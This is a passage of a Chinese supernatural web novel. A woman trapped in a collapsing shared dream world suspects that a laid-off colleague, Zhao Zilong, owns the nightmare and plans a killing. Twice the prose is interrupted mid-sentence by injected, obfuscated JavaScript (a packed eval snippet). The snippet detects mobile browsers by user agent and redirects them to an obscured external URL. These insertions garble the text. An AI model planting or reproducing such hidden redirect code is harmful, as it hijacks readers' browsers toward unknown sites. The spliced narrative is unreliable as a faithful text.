刚刚还好端端的梦茧大厦,瞬间光秃秃得只剩下楼体的框架,她所在的地方正好是楼体的承重梁,暂时还算安全,四面漏风,如同孤岛,其下是翻滚着的沥青一般的深渊——魇境中的黑水装也不装了,朝她露出残忍的狞笑。 再看她刚刚身边那两个人——尉迟龙鸣危机时刻将长刀深深扎进楼体,好歹有个牢固的抓靠,含晦——苇思航犹记得他是会飞的——其实只是简单的漂浮技能,在狂风中无济于事,像是一片飘摇的落叶,抓住尚存的一方电缆,眼看也要脱落,情况不妙。 “抓住我!”苇思航离他更近,伸出手去——就像不久前,他在电梯顶救了她那一次。 含晦尝试地伸出手,可每次即将抓住苇思航的时候,就被高处的疾风吹的更远。 尉迟龙鸣在一旁失神喃喃:“是梦境坍流……那东西追上来了……” 苇思航急得出了一脑门汗:“什么玩意?” “有一个梦魇在侵噬其他梦境!这里很快也要坍塌了!” 苇思航听得似懂非懂,看着尉迟龙鸣的表情,只是隐隐约约感觉大事不好。 但她无暇理会,伸手去够含晦,招呼尉迟龙鸣:“待会再说,先搭把手……” “没用的,还是省省力气吧……”尉迟龙鸣颓然不动,一种与他本人格格不入的恐惧神色浮在脸上。 第一次他还心存侥幸,可以当作仅仅是意外,第二次紧随其后,这一层梦魇也即将遭遇灭顶之灾。梦魇侵噬,他只在之前调查科前辈的手稿中读到过,这一现象最终引向的是——传说中的“灵坟”。 灵坟之中,所有的灵体唯一的结局,就是毁灭…… 苇思航依旧忙着去拉含晦,紧紧抱着还算牢固的横梁,不肯放弃自救,这一幕落在尉迟龙鸣眼中,无异于螳臂当车,不禁苦笑一声。苇思航探出半个身子,与含晦的手指即将在半空中相遇之时,尉迟龙鸣出手了。 却见他毫不客气,飞身一脚把含晦踹了下去。 “你干嘛——!”苇思航震惊中失声叫道。 含晦没来得及发出任何声音,便向下坠落而去,脸上黄符扯动,皱皱巴巴。尉迟龙鸣低头看了一眼,好像看见了不久前从23层坠落的自己。 接下来,轮到他了。他有预感,这一次,接住他的不会是另一个梦魇和它好心的主人,而是“那个”梦魇。 好像已经没有挣扎的必要了。他的心情平静而绝望。 苇思航目睹一切,目瞪口呆。 在他们身边,光秃秃的楼体上还残留着楼层15的印记,那个“5”若隐若现,浅淡得即将消失。 一个强大的梦魇正在贪婪地侵噬着15层梦魇,魇境中所有梦魇正在被生生压缩成一个! “保重。”尉迟龙鸣转头对苇思航道,目光沉沉,一步之遥的盟友,一个不算道别的永别。 而后,他也放弃了挣扎,拔出长刀,紧随含晦之后,坠入下方浓稠的黑水。 独剩抱紧横梁的苇思航:“???!!!” ……绝望啊。 13. 12. 黑池(五) 漆黑的夜空看不见星月。 梦茧大厦的残骸静默地矗立,东塔与西塔如折断的蝶翼,连接东西塔的空中连廊早已支离破碎,玻璃幕墙尽数碎裂,只剩下裸露的钢筋骨架。 苇思航在连廊的废墟上狂奔,脚下每一步都伴随着金属的震颤。狂风从空洞的框架间呼啸而过,卷起她的衣摆和发丝。她的喉咙里涌上一股铁锈般的血腥味,身后有什么东西正在追着她,恐惧如影随形,在她脚下拉出长长的阴影。 连廊两边,俯瞰着的A城风貌已经消失,取而代之城市天际线的,的是一眼望不到边际的黑水,其中翻涌着的如同海浪一样的暗流,细看竟是无数张扭曲变形的脸!天地之间好像只剩下她一个人,下方的黑水中似乎传来怪异的低声,正在呼唤着她的名字…… 下一秒,她一脚踩空,急速坠落。 …… “唰、唰、唰……” 枯燥的雨刷声擦着前窗玻璃,苇思航猛地从驾驶座上惊醒,冷汗浸透了后背。 第二次回到熟悉的驾驶室内,仪表盘电量显示还剩30%。 “你终于出来了!”电子音从空调口附近响起,就差谢天谢地,“赶紧离开这里!这里的黑池魇境已经进化到了‘灵坟’,极度危险,再不走就来不及了!” 苇思航喘息着,心脏仍在鼓噪地狂跳,下意识看向后视镜,明了此时的处境——车外,0373所在的斜坡上,黑水水位上升,已经漫到了后轮,看起来不多久就要将0373整个吞吃进去。 这一次的黑水和她进入魇境前有所不同,从中心盛开的波纹,像是有一个看不见的漩涡,正在缓缓吐纳脉动,其中酝酿着极不稳定的精神力,沉默中散发着危险。 如果再醒来直接泡在黑水里,她可就再没有重来的机会了。不对,就她的电量而言,本来就只剩一次重来的机会,哪里还有什么下下次? “灵坟,那是什么?”苇思航开口,声音嘶哑。 “那是魇境极其罕见的进阶态,顾名思义——会埋葬其中所有灵体的地方,”电子音罕见严肃,“简单来说,魇境中出现了一个失控的魔王母魇,正在吞噬其他梦魇——包括其中的灵体。” “可是如果所有梦魇都被吞噬,魇境不就不复存在了吗?”苇思航想到。 “没那么简单。现在已经不是魇境的问题了,”电子音回答,“那些被吞噬的魇境并不是消失了,而是被同一个魇境‘污染’了,如果把魇境比喻成风暴,灵坟就是风暴过境后的瘟疫。” 苇思航的眼前蓦地出现了尉迟龙鸣说起“灵坟”时灰暗的神色,此时才终于明白背后的含义,她打了个冷战,继续追问。 “被困在其中的灵体会怎么样?” “精神力被压榨殆尽,直至崩溃,梦灵承受的精神折磨至少是之前魇境中的十倍,轻易无法脱出,醒来之后,失眠、持续噩梦、精神衰弱……这些算轻的,严重的,睡一觉醒不过来,中风,成植物人的,也有,不过不多……” 苇思航打断它:“那幽灵呢?” “幽灵?”电子音停了一下,“幽灵比梦灵更惨,和梦灵不一样,他们完全没有逃脱的可能性,在灵坟中饱受折磨后丧失意识,化身恶灵,受梦魇驱使,直至精神力耗尽,形神俱灭。” 没听见苇思航说话,电子音自言自语:“我早该知道的,这个魇境一开始就不太正常,跟之前遇到的都不太一样,不说别的,B1那只克苏鲁大章鱼的出现绝不是意外……” 说起楼上那只大章鱼,它顺便想起了不久前,下车说去“看看”,然后再也没回来的老大……虽然好像轮不到它担心…… “——陆萌。” 像是听见了电子音的心声,苇思航突然开口道。 电子音一惊。 “在那个梦魇里,我遇见她了……”回想起不久前短暂发生的梦魇中的情形,苇思航也有片刻失神,“难道是我的错觉?那个梦魇里的环境也给我一种莫名的熟悉的感觉……” 苇思航的思绪回到不久前。 在含晦和尉迟龙鸣跌入黑水深渊之后,她也没能支撑太久,也坠入了另一个梦境。 毫无悬念的,当今黑池中,唯一仅存的“那个”梦魇。 可她甚至感觉不到自己在做梦,只因这个新的梦,比“苏秀禾”的梦境还要逼真许多。 豪华的梦茧大厦内部被老旧的办公楼取代,她随手拎着奶茶外卖袋,里面装着她每天上班带饭的饭盒,走楼梯上楼。 转过每一层楼梯间,墙壁上赫然都是同一个数字——“4”. 她现实中工作的公司,也在4楼,因为楼层低,公司想省下电梯使用费,“鼓励”员工爬楼梯,美其名曰锻炼身体。看到每层楼梯间上重复的数字,让她心中有点异样,并没有持续多久,四楼很快到了。 奇怪,无数个“4楼”,她偏偏就知道是在这里。推开沉重的消防门,走廊里的灯光和楼梯间里一样,惨白而阴暗。 她赶在18:31分打上了卡——这只是晚餐卡,代表晚餐时间的结束——专属于这家公司的伟大发明!而真正下班要在九点之后,那时还要再打一次卡。 就因为“晚餐卡”晚了一分钟,她这个月的全勤奖又没了。 她朝着打卡机伸出食指,记录指纹,黑盒子的屏幕上显出她的身份信息——苇思航,一张她目光空洞的证件照随即跳了出来。 她收回手指,像是被什么藏在盒子里的虫子蛰了一下。 一个奇怪的念头浮上脑海。 “它”怎么会知道她的名字? …… 安静的车内,苇思航简短提起自己在母魇中的经历,光用语言描述,无法说明身在其中的诡异感。 苇思航说到打卡机上出现自己的真实身份信息,停一下,问:“难道是那个母魇成精了,认出了我不是‘苏秀禾’?” 她心里想,那个梦魇难怪被称作“魔王级”,原来还带识别马甲的功能的? “话说回来,我第一次进入黑池的时候,为什么魇境会认定我是‘苏秀禾’?” “你以为魇境有多聪明?何况里面有那么多梦灵,就算是服务器也会出错呀!”电子音回答:“据我推测,大概是因为你本身跟梦茧大厦并没有太多交集,随手拿了被主人附灵的工牌,就被魇境偷懒标记成了原主人。” “原来如此……” 之前她经历的梦魇,实则为“苏秀禾”量身定做,苇思航马后炮一番,不得不承认其中很多噩梦情节都流于表面,至于精神伤害,着力于身材羞辱,对她也不痛不痒——只因为她并不是真正的苏秀禾。 可即使是那样,已经被变相削弱了的梦魇,她还是差点死在里面,三次……惭愧惭愧。她都不禁好奇起来,她的精神力究竟是什么水平? “那就说得通了……”苇思航顺着电子音的提示,接着道,“被拉进母魇的时候,我身上苏秀禾的工卡不见了——是这个原因吗?” “好像也不对……你说,梦里的环境不是在梦茧大厦,而是跟你现实里的办公室一样?” “没错。” “那很奇怪。一般来说,梦魇自身有一套自己的规则,而不是反过来因为闯入者而改变……除非,在你进入之前,那个梦魇里面原本就是那个样子?可能,梦魇的主人也在你之前的那栋楼里上班?” 苇思航点点头,可惜电子音看不到。 “这是一种解释。其实……在那个梦里,我看到了认识的人。” 电子音脑子没转过弯来,脱口道:“你说陆萌?” 苇思航摇摇头:“不是……不仅是。” …… 苇思航看着指纹打卡机上,自己的照片很快消失了。 她隐隐觉得有哪里不对。低头看着自己身上。 她还穿着那身灰色马球衫,灰色西装裤。她上班一共有两身行头,工作日轮换着穿,每天上班前就不用费脑筋了,另一身是米色的套装。 ——照片上的她正穿着那身米色的套装,头发也比现在长一点。那是什么时候照的? 为什么别人的梦魇里会出现她之前的照片? 苇思航开始烦躁了,此时突然很想找个地方照一下镜子。 这样想着,她拐进藏在楼道里的昏暗的女厕。 从女厕门进入,左侧四个隔间,对面是洗手池和镜子。如今隔间门紧闭着,似乎没有人在里面,哪里的水龙头没有拧紧,传来水滴不间断滴落的声音。 斜对着镜子,她看见里面映出的洗手间的陈设,随着她的走近,一步步显露全景,隔间的门板,低矮的白炽灯泡,两张洗手台…… 直到她也进入镜子的视线。 里面却没有她的影子。 “——!”苇思航倒吸一口冷气。 明明没有风,她从镜子里看到,最右边的隔间门无端动了起来,“吱嘎”一声,好像里面有人正要推开门走出来,可隔间门的下方,哪里有人的影子? 苇思航二话不说朝着门口狂奔! 一颗心提到嗓子眼,重新回到走廊里,还没来得及松口气,耳中听到压抑的哭声的那一刻,苇思航悬到喉咙的心差点吐出来! 她浑身僵硬,目光看向走廊不远处。 一个男人瘫坐在墙角哭泣。 他手里卷着皱巴巴的领带,不时擦拭着眼镜,眼泪从他不大的眼睛里源源不断地挤出来。 苇思航愣住。恐惧的心情被惊讶取代。 只因那个人,她认识的。 “赵,赵哥?” …… “谁是赵哥?” 听到这里,电子音忍不住插话问。 “赵梓龙。我公司同事——我们都管他叫赵哥。”苇思航言简意赅地回答。 赵梓龙,名字很霸气,实际上,牛马一个。还是一辈子被套牢的牛马,快四十的年纪,赶上买房,二胎,裁员潮……每一步都精准踩在时代的雷点,所以只有拼了命地工作,加班加点,下班了还要跑几单顺风车,像头勤勤恳恳的老黄牛,或许应该改名叫赵黄牛才对…… ——这些不是苇思航说的,是她某一次从徐振那里听来,不知道为什么记下了。 咦,徐振? 现实中同事的名字再次进入脑海,十分突然,苇思航觉得头有点痛,屈身伏在方向盘上,不小心按到喇叭,0373发出一声短促的尖叫。 此时,电量仍在缓慢下降——29%! 电子音因为苇思航讲述的梦魇提起了一点兴趣,这时又回复了一点理智,忙不迭催促:“先不管那些了,赶紧离开这里!” “等会,等会。让我缓缓。”苇思航回答,如果电子音此时能看到车内的景象,就会看到她苍白的脸色十分吓人。 苇思航问:“你知道,这种魔王梦魇的主人,一般是什么情况吗?” 电子音一语道破:“说了这么多,你是在怀疑,那个梦魇的主人是你认识的人吧,比如,你的同事?” 苇思航默认了。 突然出现的赵哥提醒了她。这也就能解释,为什么这个梦魇里和她的公司一模一样,而且知道她是苇思航……因为背后的梦灵根本就认识她! 电子音:“灵坟的生成有一定随机性,但其中诞生魔王母魇的必要条件,是极具破坏性的精神力,母魇主人一般都有着强烈的自我毁灭的倾向,才有可能大规模‘污染’他人。你说的那个……赵哥,你觉得像那种人嘛?” “我不,不太清楚。”苇思航犹豫了,她想到一个问题,“这个……灵坟现象,虽然是魇境的升级版,不过应该很多规则还是跟魇境相通吧?母魇的主人,现在是什么情况?他还算梦灵吗?我是说,还会醒来吗?等他醒来之后……又会发生什么?” “灵坟一开始是借母魇的力量,不过发展到这一步,已经完全失控了。对于原主梦灵来说,多半已经丧失了心智,在梦中游荡呢。等到他醒来的时候,灵坟也会随之消散,他很有可能不知道发生了什么,还以为只是个普通的噩梦,没什么好担心的。”电子音声音懒懒的,“可怜的是被困在其中的幽灵,大多数撑不到那个时候,梦灵受到的创伤也难以量化,灵界内附近区域受到的破坏,暂时无法预估……不过那些也不用你操心,灵管局会派人来善后的。” “那现实中呢?会发生什么?” “现实?”电子音蒙了,“对于幽灵来说,灵界就是他们的现实,还是你想说的是,梦灵来源的那个‘现实’?等下,这跟现实有什么关系……” “原主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670552|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦灵醒后,他原本的毁灭倾向依旧存在,是否会在醒来后在现实中采取行动?” “那我就不知道了……可能有吧。”电子音有点敷衍地应和。 苇思航突然开口了。 “我知道。” 电子音没反应过来:“啥?” “他准备在醒来后动手——我在梦里看到了,他的杀人计划。” …… 梦中的办公楼,走廊。 她在走廊里的赵哥没发现之前,快速走开,回到自己的工位上,办公室里难得奢侈,空调开得很足,她从头到脚冒了一身冷汗。 办公室里还有其他人,让她的心微微放下来一点。自从见到赵哥之后,苇思航的目光下意识在这些人脸上扫过,观察是否还有自己认识的人,然而,其中的大多数人苇思航都是第一次见。 苇思航有理由怀疑,他们是和自己一样,困在这里的梦灵,或是幽灵。当然,也有可能——是原产于此的NPC。 “苇姐。”一个不认识的女职员突然叫住了她,苇思航应声回头。 难道果真是精神力强弱的差别?苇思航不由得赞叹他人梦魇中的造物,真是惟妙惟肖! 这位陌生的女职员神态生动自然,就像你随口一提,脑海中能想到的八百个热心女同事的集合体。 她想起了蹩脚的红发女“萌萌”,五官像临时拼凑上去的,一言一行都充斥着一种僵硬的非人感。 不过假如原型是“陆萌”的话,是不是也可以理解……苇思航有点走神。 “……苇姐,你来评评理啊!小晴杯子喝完拿铁不冲,都臭了!隔老远我就闻到了!”女职员愤愤不平,拉着“苇姐”评理,无非就是些办公室里的鸡毛蒜皮。 女职员抱怨的对象“小晴”被硬拉过来,神情局促不安。 “苇姐……” 那是一个低眉顺眼的年轻女孩,头发上绑着碎花头巾,一层轻薄的齐刘海,让她看起来有几分淳朴,显得年纪更小了。她此时被高个的女职员抓着,活像个被抓着告状的小学生,点着零星雀斑的脸蛋窘得发红。 “我不是故意的,刘姐……还有,哪里臭了……” “哪里臭?这还不臭?破坏公共卫生还有理了?我告诉你哪里臭!”“刘姐”听了,气呼呼地,抄起手中的杯子,一手按着小晴的头,感觉要把她的脸整个埋进去。 小晴挣扎起来,摇着头求饶。 “别这样,刘姐……我错了,我错了……” “行了行了。”苇思航出手制止,觉得莫名其妙的同时,还觉得小晴可怜,“就一个杯子而已,洗了就得了,快放手。” 刘姐作罢,放开小晴,继续告状:“苇姐,你不知道,根本不是一个杯子的事儿!小晴不讲公共卫生,可不是一次两次了,今天轮到她值日打扫卫生间,那里面臭的,根本没法上!” “我不是故意的,是楼里停水了……” 小晴苍白地辩解着,羞窘的低下头,连耳廓都红了。 还是他们公司的奇葩操作。赖掉电梯使用费后,公司长期跟物业不对付,导致物业请的清洁阿姨不来4楼的公区打扫,公司的解决方法是:每天由一位职员负责“值日”打扫卫生——其中也包括卫生间。 刘姐横了小晴一眼,又见苇思航没什么表示,发完一顿牢骚,甩下脏杯子作罢。 “不好意思,苇姐……”等人走了,小晴小声朝苇思航道歉。 苇思航摆摆手。 她受小晴一句“姐”没什么,不过看起来不好惹的刘姐也对她十分尊敬,她在公司什么时候这么德高望重了? 压下心里一点疑惑,苇思航安慰起可怜的小晴:“别放在心上。”笑笑,“其实我也闻不到什么异味。” 小晴飞快抬头,看她一眼,又低下头。 苇思航确定自己不认识这个小晴,但又好像明了了一件事。 没有嗅觉,看来她也是一个梦灵? 她不免多出几分惺惺相惜之感。 不过小晴只有一瞬间的怔忪,很快神色恢复了茫然,继续扮演她在这个梦中的人设。 “谢谢苇姐,你要的文件我做好了,刚刚放在你桌上了。” 苇思航完全不知道她在说什么,点点头,顺口道:“嗯好。你没什么事了的话,就准备下班吧。” 小晴应了,转身离去。 经过这段没头没脑的小插曲,苇思航回到自己的工位上。 她的工位在办公室的角落,格子间中的一个,从某种程度上讲,位置相当优越——正对着老板办公室,身后一株绿植,挡住后方同事窥探的视线,摸起鱼来得心应手。她的桌上东西不多,摆设一目了然,如今桌面上果然放着一沓文件。 她的目光在工位上方的职位上一顿,瞬间明白了自己的德高望重从哪里来。 就因为如此,她突然无比清楚地意识到自己在做梦。 职位:总监——等等,她是哪个部门的来着?那不重要……重要的是,在“总监”旁边,还有一个职级的标志——“P8”。 苇思航:“……” P8,从神秘大厂流传下来,整个互联网打工人梦寐以求的高级职称,象征着年薪百万,财务自由……可惜在他们这个小公司,只能代表她“苇姐”还能在扯皮的时候说上两句话。 因为整张纸是打印在白纸上,显得尤其儿戏,简直像个恶作剧。 这个公司她总共熟悉的people还不到8个,她P个哪门子的8啊? 苇思航头上冒着黑线,甚至有些丢脸的感觉,坐到工位上,此时一张夹在文件里的折了一角的纸张适时映入眼中。 从卫生间到工位的路上,她听见同事们的交谈。 “听说了吗?好像裁员名单下来了……” 裁员名单…… ——难道就是她手里这个? 苇思航感到不可思议。翻来覆去把手里薄薄的A4纸看了好多遍。 她的名字也赫然在列! 是有谁要提醒她?可是提醒什么呢? 在所有熟悉或不熟悉的名字之中,她看到缀在一些名字之后的,暗红色的小叉。 明明鼻端什么也闻不到,她却好似嗅到了,危险的味道。 14. 13. 黑池(六) “你觉得裁员名单是死亡笔记?别逗了……”电子音好像听见了什么滑稽的事情,笑声却有些发干,“你怎么知道的?因为你也在那个名单上,然后被杀了才回到这里?” 电子音道:“而且就算发生在梦里,也不代表会在现实发生同样的事情……” “我本来也没往那方面想,”苇思航慢吞吞道,“是陆萌跟我说的。” 又一次听到“陆萌”的名字,电子音微不可察的一滞,好在并没有被苇思航发现异样。 苇思航的思绪完全沉浸在刚才的梦中。她进入母魇,到她死亡强制脱出……这中间究竟经历了什么? …… 刚过七点,室外已经完全黑了下来。4楼办公室的灯还亮着,明晃晃的如同审讯室一样的灯光。办公室里面大多数人还在位置上,不过因为辞职名单的重磅消息,没有一个人有心思工作。 办公室里众人各自抱团,窃窃私语,暗地里交换着最新的消息,好像瞬间回到了上学时的自习教室。 各个部门的头头现在都不在位置上,被叫去开会,一天都没见到人影,下面的员工便更肆无忌惮了。 ——“总监”苇思航并不在开会的那些人里,她坐在自己的工位上,没引起任何人的注意。在办公室里一向存在感不强的她,在梦魇里同样发挥了这个特长。 她本想梳理一下思路,从长计议自己的下一步行动,奈何旁边人的聊天内容控制不住传进她的耳朵里。 同事A:“xx在不在名单里?还有xxx?” 同事B:“你关心别人干什么?怎么不问问你自己?” 同事A:“我?不会吧,我今年才28,还没到35呢!” 又道:“不过上次我惹徐总生气,不知道他会不会保我……哎呀,算了不管了。” 同事B:“我就是随口说说,你怎么还当真了……你当然不会在里面了,你可是我们部门的顶梁柱!你走了活谁干?” “其实吧,说不定裁了说不定是好事,领了赔偿金,还能休息一段时间,我都快忘了周末是啥感觉了……” “你想什么呢?听被约谈的人说,赔偿金是按照基础工资发的,那才几个钱!你想躺,躺的踏实吗?再者说,现在工作多难找啊,真休息一段时间,到时候想找新的都难!” “你说的也对……”同事A语气惨淡,“不过咱公司现在这效益,留在这儿也没什么奔头,唉,不说了,也没心思工作,等我发完日报,今天早点回家吧。” 同事B:“唉,谁说不是呢?不过咱们在这儿抱怨,再惨也比不过赵哥……他是不是还在那哭呢?” 赵哥也在裁员名单上,好像并不让人感到惊讶。这已经不是他第一次经历裁员了,前途因此更加未卜。是多大的打击,让一个体面的成年人在走廊上不顾他人的目光无助痛哭?无奈,唏嘘,明明是别人的人生,为什么仅仅旁观也会尝到酸苦呢…… “嘘,他过来了!” 苇思航回过神来,听到不远处传来的脚步声。 赵梓龙满脸通红,脚步虚浮,像一个喝醉了酒的人,领带松松垮垮挂在脖子上,全没了平时在公司谨小慎微的老好人的样子,目光阴沉,直勾勾盯着办公区最深处总经理的办公室。 绝望,也会成为暴怒的燃料! 苇思航看着他一步步走向总经理办公室,压抑着愤怒,敲了敲门。 “请进。”里面传来声音。 赵梓龙目光发直,拉开门的手青筋浮现,喉头滚动,缓缓走了进去。 办公室的门在他背后合上了。 看着这一幕的办公室的所有人大气不敢出。 “赵哥他……不会想不开吧?”有人怯怯问道,当了在场所有人的嘴替。 没有人能回答她。 苇思航听到自己的心在胸腔里急切地跳动着。 这个时候,虽然还没有电子音的提示,她已经觉得自己跟这个梦魇有所关联,不久前突然出现的赵哥让她更确定了这一想法,她开始怀疑,这个梦魇的主人,不会真是她的某个同事吧? 而通过之前的经历,她已经知道梦魇会外化人心最深处的恐惧,她认识的同事之中,谁最害怕裁员?难道说,赵哥…… 总经理办公室的门关着,隔绝了外面所有窥探的目光。 办公区的众人紧张不安,有胆子大一点的,借着接水的幌子,只为了离那间办公室更近一点,好像再近一点,就能听见里面的对话,知晓其中正在发生什么…… “轰——”一股强劲而持续的轰鸣在耳边爆发。 ——其实那股机器运作的声音不算特别大,放在平时还算可以忍受,只是在因为紧张而安静的人群里显得格外突兀。 “我靠,吓死人了!你干嘛啊!”熟悉的声音骂道。 小晴手里扶着从楼里借来的工业用吸尘器,慌忙按了暂停,稚嫩的脸上满是慌张。 “对,对不起!” “非要选在这个时候做卫生是吧?有没有点眼力见啊!”——那个不依不饶的声音,正是刘姐。 “我看已经是下班时间了,看大家也都没在做事,我想着……所以……” “谁跟你说是下班时间了?第一天上班是吧?不是刚毕业的大学生吗,怎么脑子跟生锈了一样?……”刘姐的声音喋喋不休,小晴承受着训斥,泫然欲泣的表情,连声说着对不起。 其他人有旁观的,也有作势劝架的,不过这样一来,便没人在意总经理办公室里的情况了。 直到那扇大门“嘭”地一下,从里面打开。 周围一下安静下来。 赵哥的身影出现在门口。 苇思航在工位上看得清楚,她才发现,总经理办公室里的灯光比起外面要昏暗许多,赵梓龙的剪影沉默而阴郁,他低着头,灯光从上打下,看不见他的眼睛,只有横在鼻梁上一道阴影。 来不及看到办公室里的现状,他回身把门关上,在场其余人看着他的动作鸦雀无声,心里的疑虑越来越大。 “赵,赵哥,你没事吧?”刘姐抛下小晴,壮着胆子发话。 赵梓龙闻言抬头,目光空洞,没有焦距,好一会,才机械地转向问话的方向:“没事。” 那样子简直怕人。 “我要下班了。”赵梓龙脸上做出一个笑的表情,一闪即逝,说完便自顾自朝着办公区外的走廊走去。 刘姐在原地,目光恐慌地闪烁,一会看向赵哥,一会看向办公室门。 办公室里一片死寂。 没人敢去想象,是不是里面已经发生了什么不好的事情…… 一种恐怖的猜想在蔓延,可终究只是在想象中。 赵哥的身影快接近走廊的时候,办公室内重新传来了一个低沉的声音。 “下一位。” 听到这声音的人们先是松了一口气,马上又提心吊胆起来,什么下一位? 苇思航则低下头,看着自己手上那张疑似裁员名单。“赵梓龙”的下一个是——刘晨曦。 也就是刘姐。 名单上,刘晨曦的名字后面,鲜红的小叉好似正在跳动。 刘晨曦的表情似乎已经知道,总经理叫的就是她本人,脸色白了白,随手放下杯子,朝办公室里应道:“稍等,马上来,徐总。” 她深吸一口气,在众人的目光中,拉开一条门缝,飞快闪身进入,门再次关上了。 苇思航也在此时下定决心,从抽屉里拿了一个东西揣进口袋,追着即将走远的赵哥而去。 她因此也恰巧错过了,身后总经理办公室里,随后爆发的一声惨无人道的尖叫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670553|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * 他们这一层其实是有电梯间的,毕竟原本的格局无法改动,物业为了报复这家奇葩公司,人为把电梯里“4”的按钮抠掉了,所以从一楼无法到达他们公司的楼层,除此之外,一切正常,总是阻止不了员工使用电梯,物业大概也放弃了,对此也睁一只眼闭一只眼。 走出办公区,来到走廊上,仿佛来到了另一个世界,身后的一切嘈杂都远去了。赵梓龙等着电梯,期间低头,看着手机。 熟悉的提示音响起,是他的顺风车接到订单了。 赵梓龙在裁员的当天选择早下班,并不意味着他辛苦的人生就能得到片刻的喘息机会。 客人发来消息,催促他赶紧到。 他的手在键盘上滑动,想要发出一句谦恭的请求谅解的话,可想要打出来的字,都是一串乱码。他打了又删,反复几次也恼了,刁钻的客人还在催促,赵梓龙心一横,索性取消了订单——世界安静了。 他不觉得高兴,只感到一阵气闷,把手机揣进兜里。 抬起头,他才发现身边多了一个人。 “赵哥。”追上来的苇思航主动打招呼,一路跑来,还有些气喘。 赵梓龙有点意外,还是冲她点点头。 “你也下班了?” “嗯。” “那今天还挺早的。” “……嗯。” 气氛尴尴尬尬。好在这时电梯到了,电梯门打开,轿厢里空无一人。 赵梓龙作势要进,不过提醒苇思航:“我是往上的。” 苇思航忙道:“我也是。” 赵梓龙按了21层的按钮。苇思航奇怪,他们这个破办公楼,她怎么记得总共才13层来着? “去几层?”赵梓龙主动问,完全恢复了平时那种好好先生的样子。 苇思航:“我也是,21。” 赵梓龙一愣,忍不住问:“你也去梦茧大厦吗?” ……梦茧大厦? 苇思航心里奇怪,不过不能露出破绽,胡乱点头:“嗯嗯。” 重新站在电梯里,苇思航很难不去回想之前发生在电梯里的恐怖场景,心中便十分忐忑,她努力告诫自己镇定下来,深吸一口气,两手插在口袋里,装作若无其事,右手握紧她随身带来的美工刀。 赵梓龙垂着手,与她保持了一段距离站着,他刚刚按过的21层按钮上,留下了深红色的印记,苇思航不记得了,那枚污渍是本来就在那里的吗? 怎么看,都怎么像……血…… 赵梓龙离开总经理办公室,无人知晓他在那里面的几分钟发生了什么,有他那样的遭遇,丧失理智报复社会,挥刀向领导,好像都情有可原。 不过总经理后来又叫了下一个人进去,让其他人最为阴暗的幻想不攻自破,看来赵哥没有真的动手做什么,咦?那种隐隐的失望是怎么回事…… 苇思航反而觉得,身边赵哥一反常态的淡定更加叫人毛骨悚然。 正常人刚刚经历了打击,怎么想都觉得不该是这种反应……苇思航默默想着。 此时,电梯门的镜面反映出轿厢中的情况,只见赵哥抬起头,目光正好与苇思航对上。 他的脸上带着一种奇怪的疏离的笑容,目光直勾勾地盯着镜面里的苇思航,主动搭话。 “我的车停在梦茧大厦车库——你的也是吗?” 听上去再正常不过的对话,苇思航却浑身一颤。 电梯顶上的电子屏,楼层的数字正在跳动。11,12,13…… 他们的办公楼只有13层,再往上,电梯要上升到哪里? 数字停在了13,继续跳动,13,13,13…… 苇思航右眼皮也跟着狂跳!身后,镜子里一派温文的赵哥突然暴起,狞笑着朝她伸出手来! 15. 14. 黑池(七) 苇思航全身汗毛竖起,大惊之下,忙转过身,手里死死攥着美工刀。 赵梓龙看起来也被吓了一跳。 “这是做什么?”他的声音有些困惑。 苇思航感觉眼前一花。 赵哥脸上诡异的笑容不见了,取而代之的是淡淡的疲惫,他此时一手拿着手机,一手揉着眉心,看起来无比正常。 就算是赵哥临时收手,也不可能这样顺畅自然……吧? 苇思航机械地转过头,镜面里一切如常,难道刚才看到的一切都是她的幻觉? 她忙把手里的美工刀收回口袋里,向赵哥道歉:“不好意思啊,我最近有点神经过敏……” 赵哥摇摇头,没说什么,他刚才在看手机,并没有注意到美工刀的存在。大概是觉得苇思航的紧张事出有因,毕竟和公司不熟的男同事同乘一座电梯……他主动打开话匣子,缓和密闭空间里的紧张气氛。 “我听其他人说的,你也买车了,对吧?” 他接着刚才车的话题,继续道。 苇思航轻声应道:“是啊。” “什么牌子的?” “害,xx牌的,”苇思航回答,下句话紧接着,“不知道你有没有听说过,已经破产了……” “当然听说过,其实之前我也考虑过那个牌子,不过是我老婆说还是老牌油车好,当时还有车贷补贴,我们家才……现在看来还是电车好,开起来便宜……你买了多久了?” 苇思航想了想:“三年多了吧。” 赵梓龙笑道:“那是22年买的?我家老二也是那年生的。” 提起家人,他脸上的阴霾散去一点,流露出几分温柔。双方都默契地没提刚才办公室里发生的事。 显示屏上13的数字还在像卡顿一样跳动,不久之后,直接跳到了数字21。21层到了。 赵哥摁着开门键,体贴地让苇思航先走。 赵哥冲她微笑,体面地结束了刚才的一番对话:“要是你没车,我还想说可以送你一程——正好我上个单取消了。” 苇思航也笑笑,不过没作声,嘴唇发干。 眼睛一瞥,她又一次看到镜子里,赵梓龙的笑容。暂时没发现什么异常,不妨碍她重又紧张起来。出了电梯,扭回身子,再不敢把后背留给他, 赵梓龙实在太过可疑,她不可以掉以轻心,追上来,也是为了验证她心里越发扩大的猜想。 ——赵梓龙,赵哥,会是这个梦魇背后的梦主吗? 揣在口袋的手里,苇思航握住美工刀柄,慢慢地小心地推出一截锋利的刀片。 